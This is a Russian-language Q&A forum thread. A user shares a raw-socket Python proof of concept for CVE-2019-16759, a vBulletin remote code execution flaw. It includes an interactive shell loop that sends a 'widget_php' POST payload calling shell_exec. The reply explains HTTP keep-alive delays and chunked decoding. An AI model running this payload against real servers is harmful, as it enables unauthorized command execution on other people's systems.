Raw Sockets занимает 5 секунд для ответа на localhost - PullRequest
0 голосов
/ 24 октября 2019

Я пытаюсь создать необработанную реализацию сокета CVE-2019-16759 доказательства концепции .

Когда мой код выполняется, он делает правильный запрос POST, ивозвращает ответ [глядя на WireShark, я могу это подтвердить], но это занимает 5 секунд, в то время как реализация без сокетов происходит мгновенно.

Я заметил, что запрос POST имеет это "продолжение"часть информации о пакете, которую я не вижу при запуске проверки концепции.

image

Моя библиотека сокетов, которая создает запрос POST:

import socket
import urllib.parse

class socket_http:

    req = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    def __init__(self, HOSTURL, PORT=80, COMMAND="id"):
        self.parsedURL = urllib.parse.urlparse(HOSTURL)
        self.PORT = PORT
        self.cmd = COMMAND
        self.req.connect((self.parsedURL.netloc,PORT))

    def closeSocket(self):
        self.req.close()

    def post(self, URL, connectionType="", HTTP_version="1.1"):
        postURL = urllib.parse.urlparse(URL)

        postReq = ""
        if postURL.path == "":
            postReq += "POST / HTTP/" + HTTP_version + "\r\n"
        else:
            postReq += "POST " + postURL.path + " HTTP/" + HTTP_version + "\r\n"
        postReq += "Host: " + postURL.netloc + ":" + str(self.PORT) + "\r\n"
        postReq += "User-Agent: python-requests/2.21.0\r\n"
        postReq += "Accept-Encoding: gzip, deflate\r\n"
        postReq += "Accept: */*\r\n"
        postReq += "Connection: keep-alive\r\n"
        postReq += "Content-Length: " + str(len("routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('" + self.cmd + "'); exit;")) + "\r\n"
        postReq += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
        postReq += "routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('" + self.cmd + "'); exit;\r\n"

        self.req.send(postReq.encode())

        chunks = []
        while True:
            chunk = self.req.recv(int(1024)).decode()
            if chunk:
                chunks.append(1024)
            else:
                break

        return ''.join(chunks)

Мой код, который запускает эксплойт:

from socket_req import socket_http as socket
import sys

HOST = "http://127.0.0.1"
PORT = 82

while True:
    try:
        session = socket(HOST, PORT)
        session.cmd = input("$hell~")
        print(session.cmd)
        answer = session.post(HOST)
        print(answer)
        session.closeSocket()
    except KeyboardInterrupt as e:
        session.closeSocket()
        sys.exit("\nClosing shell...")
    except Exception as e:
        session.closeSocket()
        sys.exit(str(e))

Я хочу найти основную проблему, объясняющую, почему запрос так долго отвечает по сравнению с POC, которыймгновенный (вы можете увидеть в захвате WireShark, что запрос POST был отправлен за 2,3 секунды, а ответ пришел за 7,3 секунды). Когда я запускаю этот скрипт, вот что происходит:

$hell~ls
ls
'utf-8' codec can't decode byte 0x8b in position 274: invalid start byte

Я полагаю, что здесь есть две проблемы, первая из которых связана с большой задержкой, а вторая - с ошибкой «неверный стартовый байт».

1 Ответ

1 голос
/ 24 октября 2019

Ваш клиентский код вообще не анализирует ответ сервера. Он просто слепо читает произвольные порции данных, пока не останется ничего для чтения.

Вам необходимо ПРОСМОТРЕТЬ ОТВЕТ , чтобы узнать:

  • сколько данных фактически отправляется.

  • в каком формате кодирования отправляются данные (в частности, используется ли кодировка HTTP Transfer-Encoding: chunked или нет).

  • , если сервер оставляет соединение открытым или закрывает его после отправки ответа.

Вам необходимо проанализировать ответ, чтобы узнать, когда вы достигликонец ответа и должен перестать читать. Обратитесь к RFC 2616, раздел 4.4 и RFC 7230, раздел 3.3 , чтобы узнать правильные правила, которым нужно следовать, чтобы определить конец ответа (посмотрите псевдокод в этого ответа до Когда закончен HTTP-ответ? ).

Поскольку ваш клиент отправляет Connection: keep-alive в своем запросе, сервер, вероятно, фактически сохраняет соединение открытым (т. Е. Существуетнет заголовка Connection: close в ответе), в этом случае ваш клиент будет просто бездействовать в ожидании получения дополнительных данных после того, как они достигнут конца ответа. В конце концов, сервер закроет соединение, когда клиент не отправит новый HTTP-запрос по тому же соединению (проверьте, имеет ли ответ заголовок Keep-Alive, указывающий интервал timeout). Это будет учитывать задержку, которую вы испытываете.

Если вы не собираетесь анализировать ответ для определения правильного конца передачи, попробуйте вместо этого отправить Connection: close в своем HTTP-запросе, чтобы сервер закрылсоединение в конце ответа, прервав цикл чтения сразу в конце ответа. Тем не менее, вам все равно придется правильно обрабатывать Transfer-Encoding: chunked.

Только когда вы достигнете конца ответа и буферизуете все необработанные данные тела, вы сможете decode() полные данные. Вы пытаетесь decode() каждый произвольный блок необработанных байтов, который не будет работать для многобайтовых кодировок, таких как UTF-8, если последовательности байтов пересекают границы блоков. Он также не будет работать правильно, если вы не учтете и не удалите какие-либо границы HTTP chunked.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...